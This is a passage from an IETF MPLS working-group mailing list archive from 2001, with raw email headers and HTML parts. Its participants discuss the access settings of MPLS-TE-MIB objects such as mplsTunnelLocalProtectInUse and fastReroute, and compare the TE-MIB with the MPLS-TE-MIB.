  <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Doubt in=20
  draft-ietf-mpls-te-mib-07.txt MIB</DIV>
  <DIV><BR></DIV><BR>
  <P><FONT size=3D2>Hello </FONT></P>
  <P><FONT size=3D2>&nbsp;In the&nbsp; draft-ietf-mpls-te-mib-07.txt =
tunnel table=20
  </FONT><BR><FONT size=3D2>&nbsp;the Local protection is defined =
as</FONT> </P>
  <P><FONT size=3D2>mplsTunnelLocalProtectInUse&nbsp; OBJECT-TYPE</FONT> =
<BR><FONT=20
  size=3D2>&nbsp;&nbsp; SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

  TruthValue</FONT> <BR><FONT size=3D2>&nbsp;&nbsp; =
MAX-ACCESS&nbsp;&nbsp;&nbsp;=20
  read-create</FONT> <BR><FONT size=3D2>&nbsp;&nbsp;=20
  STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; current</FONT> =
<BR><FONT=20
  size=3D2>&nbsp;&nbsp; DESCRIPTION</FONT> <BR><FONT=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "Indicates that =
the local=20
  repair mechanism is in use</FONT> <BR><FONT=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
maintain this=20
  tunnel (usually in the face of an</FONT> <BR><FONT=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; outage =
of the=20
  link it was previously routed over)."</FONT> <BR><FONT =
size=3D2>&nbsp;&nbsp; ::=3D=20
  { mplsTunnelEntry 15 }</FONT> </P>
  <P><FONT size=3D2>&nbsp;Shouldn't this be read-only variable as the =
fast reroute=20
  is enabled only </FONT><BR><FONT size=3D2>&nbsp;when the link is =
failed and the=20
  local protection is in use flag will be set?</FONT> </P>
  <P><FONT size=3D2>&nbsp;</FONT> <BR><FONT size=3D2>Ashwin</FONT>=20
</P></BLOCKQUOTE></BODY></HTML>

------=_NextPart_000_000A_01C1562B.E61801C0--



From owner-mpls@UU.NET  Tue Oct 16 00:59:28 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA21194
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 00:59:28 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkyd28017;
	Tue, 16 Oct 2001 04:57:41 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkyd21565
	for mpls-outgoing; Tue, 16 Oct 2001 04:57:09 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQlkyd21560
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 04:57:07 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQlkyd25851
	for <mpls@UU.NET>; Tue, 16 Oct 2001 04:56:52 GMT
Received: from multitech.co.in by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [202.54.39.98])
	id QQlkyd16495
	for <mpls@UU.NET>; Tue, 16 Oct 2001 04:57:06 GMT
Received: from abhay (abhay [192.168.1.136])
	by multitech.co.in (8.11.0/8.11.0) with SMTP id f9G4vFO04979;
	Tue, 16 Oct 2001 10:27:15 +0530
Message-ID: <001701c155ff$d9761320$dff2fea9@abhay>
From: "abhay" <abhay@multitech.co.in>
To: "Kireeti Kompella" <kireeti@juniper.net>, <mpls@UU.NET>,
        <Sanjaya.Choudhury@marconi.com>
References: <200110151740.KAA20885@kummer.juniper.net>
Subject: Re: When to use TE-MIB (tewg) and when to use MPLS-TE-MIB (mplswg)
Date: Tue, 16 Oct 2001 10:33:08 +0530
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0014_01C1562D.F2A80820"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0014_01C1562D.F2A80820
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hi All
I have great pleasure in answering this one,

1) The differences are not many first of all

Some the differences are in the perspective of Traffic Engineering =
features implemented in different ways
but offering some degree of service=20

2) The way tunnel id is assigned and maintained in Tom's MIB has more =
flexibility in terms of maintaining tunnels
however this MIB does not offer concrete mechanism for implementing =
total primary path protection,however if
one carefully observes that this MIB offers a good mechanism for static =
configured local protection paths as in Cisco
Routers.

3) Kompella's MIB has a very good way for implementing total path =
protection,however the way tunnels are managed
are different especially the way tunnels are identified.


In terms of Tom's MIB,the performance of the MIB walkthrough for SNMP =
queries can have a slower performance mainly
because of the structure assignments and also creation of tunnels can =
involve in maintaining more state information.(Refer the
MIB for PathInUse and the Path Option Type).

Both I feel are good if we have a union of the best in both.

We can follow one of these MIB's and borrow some fields from the =
other,ofcourse mainly for implementation performance.

Hope this Helps,
Regards,
Abhay


----- Original Message -----=20
From: Kireeti Kompella <kireeti@juniper.net>
To: <mpls@UU.NET>; <Sanjaya.Choudhury@marconi.com>
Sent: Monday, October 15, 2001 11:10 PM
Subject: Re: When to use TE-MIB (tewg) and when to use MPLS-TE-MIB =
(mplswg)


> > Hi! I have a basic question on the difference between the =
MPLS-TE-MIB=20
> > (MPLS WG) and TE-MIB (TE WG).
>=20
> Here's my simplistic answer:
>=20
> If you want to configure MPLS tunnels via a MIB, go for the =
MPLS-TE-MIB.
> If you want detailed information (e.g., labels in and out), ditto.
>=20
> If you want a simple, read-only MIB to figure out what your tunnels
> are doing, use the TE-MIB.
>=20
> The best thing is to read the MIBs and make your own decision.
>=20
> Kireeti.

------=_NextPart_000_0014_01C1562D.F2A80820
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY>
<DIV><FONT face=3DArial size=3D2>Hi All</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>I have great pleasure in answering this =

one,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>1) The differences are not many first =
of=20
all</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Some the differences are in the =
perspective of=20
Traffic Engineering features implemented in different ways</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>but offering some degree of service =
</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>2) The way tunnel id is assigned and =
maintained in=20
Tom's MIB has more flexibility in terms of maintaining =
tunnels</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>however this MIB does not offer =
concrete mechanism=20
for implementing total primary path protection,however if</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>one carefully observes that this MIB =
offers a good=20
mechanism for static configured local protection paths as in =
Cisco</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Routers.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>3) Kompella's MIB has a very good way =
for=20
implementing total path protection,however the way tunnels are=20
managed</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>are different especially the way =
tunnels are=20
identified.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>In terms of Tom's MIB,the performance =
of the MIB=20
walkthrough for SNMP queries can have a slower performance =
mainly</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>because of the structure assignments =
and also=20
creation of tunnels can involve in maintaining more state =
information.(Refer=20
the</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>MIB for PathInUse and the Path Option=20
Type).<BR></FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Both I feel are good if we have a union =
of the best=20
in both.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>We can follow one of these MIB's and =
borrow some=20
fields from the other,ofcourse mainly for implementation=20
performance.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Hope this Helps,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Regards,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Abhay</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>----- Original Message ----- </FONT>
<DIV><FONT face=3DArial size=3D2>From: Kireeti Kompella &lt;<A=20
href=3D"mailto:kireeti@juniper.net">kireeti@juniper.net</A>&gt;</FONT></D=
IV>
<DIV><FONT face=3DArial size=3D2>To: &lt;<A=20
href=3D"mailto:mpls@UU.NET">mpls@UU.NET</A>&gt;; &lt;<A=20
href=3D"mailto:Sanjaya.Choudhury@marconi.com">Sanjaya.Choudhury@marconi.c=
om</A>&gt;</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Sent: Monday, October 15, 2001 11:10=20
PM</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Subject: Re: When to use TE-MIB (tewg) =
and when to=20
use MPLS-TE-MIB (mplswg)</FONT></DIV></DIV>
<DIV><BR></DIV><FONT face=3DArial size=3D2>&gt; &gt; Hi! I have a basic =
question on=20
the difference between the MPLS-TE-MIB <BR>&gt; &gt; (MPLS WG) and =
TE-MIB (TE=20
WG).<BR>&gt; <BR>&gt; Here's my simplistic answer:<BR>&gt; <BR>&gt; If =
you want=20
to configure MPLS tunnels via a MIB, go for the MPLS-TE-MIB.<BR>&gt; If =
you want=20
detailed information (e.g., labels in and out), ditto.<BR>&gt; <BR>&gt; =
If you=20
want a simple, read-only MIB to figure out what your tunnels<BR>&gt; are =
doing,=20
use the TE-MIB.<BR>&gt; <BR>&gt; The best thing is to read the MIBs and =
make=20
your own decision.<BR>&gt; <BR>&gt; Kireeti.</FONT></BODY></HTML>

------=_NextPart_000_0014_01C1562D.F2A80820--



From owner-mpls@UU.NET  Tue Oct 16 01:19:04 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA22204
	for <mpls-archive@lists.ietf.org>; Tue, 16 Oct 2001 01:19:04 -0400 (EDT)
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQlkyf27236;
	Tue, 16 Oct 2001 05:18:16 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQlkyf12570
	for mpls-outgoing; Tue, 16 Oct 2001 05:17:36 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQlkyf12565
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 16 Oct 2001 05:17:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQlkyf06787
	for <mpls@UU.NET>; Tue, 16 Oct 2001 05:15:48 GMT
Received: from huaweimail.in.huawei.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQlkyf18522
	for <mpls@UU.NET>; Tue, 16 Oct 2001 05:15:17 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <48ZK9RS8>; Tue, 16 Oct 2001 10:48:18 +0530
Message-ID: <751B6DD7A243D511AB9F0002557C568701227456@HUAWEIMAIL>
From: "Ashwin C. Prabhu" <Ashwinp@in.huawei.com>
To: abhay <abhay@multitech.co.in>, mpls-ops@mplsrc.com, mpls@UU.NET
Subject: RE: Doubt in draft-ietf-mpls-te-mib-07.txt MIB
Date: Tue, 16 Oct 2001 10:48:17 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C15601.F6C22840"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C15601.F6C22840
Content-Type: text/plain;
	charset="iso-8859-1"

 
Hello Abhay
 
     Thanks for your reply.
    
     But still i am not clear.
 
    There is one more entry in the tunnel table. fastReroute under the
mplsTunnelSessionAttributes 
    as follows
  
----------------------------------------------------------------------------
-------------------------------------------------------------------
    mplsTunnelSessionAttributes OBJECT-TYPE
   SYNTAX      BITS {
                  fastReroute (0),
                  mergingPermitted (1),
                  isPersistent (2),
                  isPinned (3),
                  recordRoute(4)
                 }
   MAX-ACCESS    read-create
   STATUS        current
   DESCRIPTION
        "This bitmask indicates optional session values for
          this tunnel. The following describes these
          bitfields:
        
        fastRerouteThis flag indicates that the any tunnel
          hop may choose to reroute this tunnel without
          tearing it down.  This flag permits transit routers
          to use a local repair mechanism which may result in
          violation of the explicit routing of this tunnel.
          When a fault is detected on an adjacent downstream
          link or node, a transit router can reroute traffic
          for fast service restoration.
        
   REFERENCE
        "1. RSVP-TE: Extensions to RSVP for LSP Tunnels,
          Awduche et al, Internet Draft <draft-ietf-mpls-rsvp-
          lsp-tunnel-07.txt>, August 2000."
   DEFVAL        { 0 }
   ::= { mplsTunnelEntry 13 }
 
 I think the flag you were talking about is the above one and not the
mplsTunnelLocalProtectInUse. 
 Please tell me if i am wrong. 
 I am still not clear about mplsTunnelLocalProtectInUse flag what it is ment
for ? According to my 
 understanding this flag shold be set only when the local protection is in
use ? And if this is what is 
 the purpose then it should be read-only and not read-create.
 
Best Regds,
Ashwin
 

-----Original Message-----
From: abhay [mailto:abhay@multitech.co.in]
Sent: Tuesday, October 16, 2001 9:48 AM
To: Ashwin C. Prabhu; mpls-ops@mplsrc.com; mpls@UU.NET
Subject: Re: Doubt in draft-ietf-mpls-te-mib-07.txt MIB


Ashwin,
           mplsTunnelLocalProtectInUse,is usually used by the administrator
to view if the primary path is protected.
 
          1) When we enable a primary path to have disjoint local protection
path,the primary path has its mplsTunnelLocal
           ProtectInUse filled when we create the path and not when the link
in the path fails.
 
           2)It is also can be a way to telling the MPLS Management(ref the
recent draft on MPLS Management) running on the
              router to know that the primary path is fast-reroute enabled
and this router if required should participate in setting up
              local repair paths.
 
          That explains the read-create attribute of the variable.
 
          Hope this helps,
          Regards,
          Abhay

----- Original Message ----- 
From: Ashwin C.  <mailto:Ashwinp@in.huawei.com> Prabhu 
To: mpls-ops@mplsrc.com <mailto:mpls-ops@mplsrc.com>  ; mpls@UU.NET
<mailto:mpls@UU.NET>  
Sent: Monday, October 15, 2001 7:21 PM
Subject: Doubt in draft-ietf-mpls-te-mib-07.txt MIB



Hello 

 In the  draft-ietf-mpls-te-mib-07.txt tunnel table 
 the Local protection is defined as 

mplsTunnelLocalProtectInUse  OBJECT-TYPE 
   SYNTAX        TruthValue 
   MAX-ACCESS    read-create 
   STATUS        current 
   DESCRIPTION 
        "Indicates that the local repair mechanism is in use 
          to maintain this tunnel (usually in the face of an 
          outage of the link it was previously routed over)." 
   ::= { mplsTunnelEntry 15 } 

 Shouldn't this be read-only variable as the fast reroute is enabled only 
 when the link is failed and the local protection is in use flag will be
set? 

  
Ashwin 


------_=_NextPart_001_01C15601.F6C22840
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">
<TITLE>Doubt in draft-ietf-mpls-te-mib-07.txt MIB</TITLE>

<META content=3D"MSHTML 5.00.3103.1000" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D296384117-16102001>Hello=20
Abhay</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;&nbsp;&nbsp;&nbsp; Thanks for your=20
reply.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; </SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;&nbsp;&nbsp;&nbsp; But still i am not=20
clear.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; There is one more entry =
in the=20
tunnel table. fastReroute under the mplsTunnelSessionAttributes=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; as =
follows</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D296384117-16102001>&nbsp;=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>---------------------------------------------=
------------------------------------------------------------------------=
--------------------------</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;&nbsp;&nbsp; =
mplsTunnelSessionAttributes=20
OBJECT-TYPE<BR>&nbsp;&nbsp; SYNTAX&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BITS=20
{<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<STRONG><FONT color=3D#ff00ff>fastReroute=20
(0),</FONT></STRONG><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
mergingPermitted=20
(1),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
isPersistent=20
(2),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
isPinned=20
(3),<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
recordRoute(4)<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
}<BR>&nbsp;&nbsp; MAX-ACCESS&nbsp;&nbsp;&nbsp; =
read-create<BR>&nbsp;&nbsp;=20
STATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
current<BR>&nbsp;&nbsp;=20
DESCRIPTION<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "This bitmask =

indicates optional session values=20
for<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this =
tunnel. The=20
following describes=20
these<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
bitfields:<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<STRONG><FONT =
color=3D#ff00ff>&nbsp;=20
fastRerouteThis flag indicates that the any=20
tunnel<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hop =
may choose=20
to reroute this tunnel=20
without<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
tearing it=20
down.&nbsp; This flag permits transit=20
routers<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; to =
use a local=20
repair mechanism which may result=20
in<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; violation =
of the=20
explicit routing of this=20
tunnel.<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; When =
a fault=20
is detected on an adjacent=20
downstream<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
link or=20
node, a transit router can reroute=20
traffic<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for =
fast=20
service=20
restoration.</FONT></STRONG><BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbs=
p;</SPAN></FONT><FONT=20
color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;<BR>&nbsp;&nbsp;=20
REFERENCE<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; "1. RSVP-TE: =
Extensions=20
to RSVP for LSP=20
Tunnels,<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
Awduche et=20
al, Internet Draft=20
&lt;draft-ietf-mpls-rsvp-<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;=20
lsp-tunnel-07.txt&gt;, August 2000."<BR>&nbsp;&nbsp;=20
DEFVAL&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { 0 }<BR>&nbsp;&nbsp; =
::=3D {=20
mplsTunnelEntry 13 }</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;I think the flag you were talking =
about is the=20
above one and not the <FONT size=3D2>mplsTunnelLocalProtectInUse.=20
</FONT></SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;Please tell me if i am wrong.=20
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;I am still not clear about <FONT=20
size=3D2>mplsTunnelLocalProtectInUse flag what it is ment for ? =
According to my=20
</FONT></SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;understanding this flag shold be set =
only when=20
the local protection is in use ? And if this is what is =
</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>&nbsp;the purpose then it should be =
read-only and not=20
read-create.</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN =
class=3D296384117-16102001>Best=20
Regds,</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001>Ashwin</SPAN></FONT></DIV>
<DIV><FONT color=3D#0000ff face=3DArial size=3D2><SPAN=20
class=3D296384117-16102001></SPAN></FONT>&nbsp;</DIV>
<BLOCKQUOTE style=3D"MARGIN-RIGHT: 0px">
  <DIV align=3Dleft class=3DOutlookMessageHeader dir=3Dltr><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> abhay=20
  [mailto:abhay@multitech.co.in]<BR><B>Sent:</B> Tuesday, October 16, =
2001 9:48=20
  AM<BR><B>To:</B> Ashwin C. Prabhu; mpls-ops@mplsrc.com;=20
  mpls@UU.NET<BR><B>Subject:</B> Re: Doubt in =
draft-ietf-mpls-te-mib-07.txt=20
  MIB<BR><BR></DIV></FONT>
  <DIV><FONT face=3DArial size=3D2>Ashwin,</FONT></DIV>
  <DIV><FONT face=3DArial=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

  mplsTunnelLocalProtectInUse,is usually used by the administrator to =
view if=20
  the primary path is protected.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1)&=
nbsp;When=20
  we enable a primary path to have disjoint local protection path,the =
primary=20
  path has its mplsTunnelLocal</FONT></DIV>
  <DIV><FONT face=3DArial=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =

  ProtectInUse filled when we create the path and not when the link in =
the path=20
  fails.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;2)It=20
  is also can be a way to telling the MPLS Management(ref the recent =
draft on=20
  MPLS Management) running on the</FONT></DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;=20
  router to know that the primary path is fast-reroute enabled and this =
router=20
  if required should participate in setting up</FONT></DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;local=20
  repair paths.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial=20
  =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Tha=
t=20
  explains the read-create attribute of the variable.</FONT></DIV>
  <DIV>&nbsp;</DIV>
  <DIV><FONT face=3DArial=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hope =
this=20
  helps,</FONT></DIV>
  <DIV><FONT face=3DArial=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  Regards,</FONT></DIV>
  <DIV><FONT face=3DArial=20
  size=3D2>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;=20
  Abhay</FONT></DIV>
  <BLOCKQUOTE=20
  style=3D"BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
    <DIV style=3D"FONT: 10pt arial">----- Original Message ----- </DIV>
    <DIV=20
    style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
    <A href=3D"mailto:Ashwinp@in.huawei.com" =
title=3DAshwinp@in.huawei.com>Ashwin C.=20
    Prabhu</A> </DIV>
    <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
    href=3D"mailto:mpls-ops@mplsrc.com"=20
    title=3Dmpls-ops@mplsrc.com>mpls-ops@mplsrc.com</A> ; <A=20
    href=3D"mailto:mpls@UU.NET" title=3Dmpls@UU.NET>mpls@UU.NET</A> =
</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Monday, October 15, =
2001 7:21=20
    PM</DIV>
    <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Doubt in=20
    draft-ietf-mpls-te-mib-07.txt MIB</DIV>
    <DIV><BR></DIV><BR>
    <P><FONT size=3D2>Hello </FONT></P>
    <P><FONT size=3D2>&nbsp;In the&nbsp; draft-ietf-mpls-te-mib-07.txt =
tunnel=20
